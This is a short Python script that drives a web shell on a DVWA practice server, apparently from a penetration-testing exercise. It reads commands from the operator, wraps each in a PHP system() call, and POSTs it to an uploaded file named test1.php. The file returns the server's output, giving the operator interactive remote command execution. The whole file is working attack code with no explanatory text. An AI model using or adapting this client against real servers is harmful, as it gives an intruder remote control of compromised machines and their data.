import requests
while True:
    cmd = input("请输入指令：\r\n")
    if cmd=="exit":
        exit()
    dcmd = 'system(\''+cmd+' \');'
    payload={
        "pass":dcmd
    }
    r = requests.post("http://192.168.199.206/dvwa/hackable/uploads/test1.php",data=payload)
    print(r.text)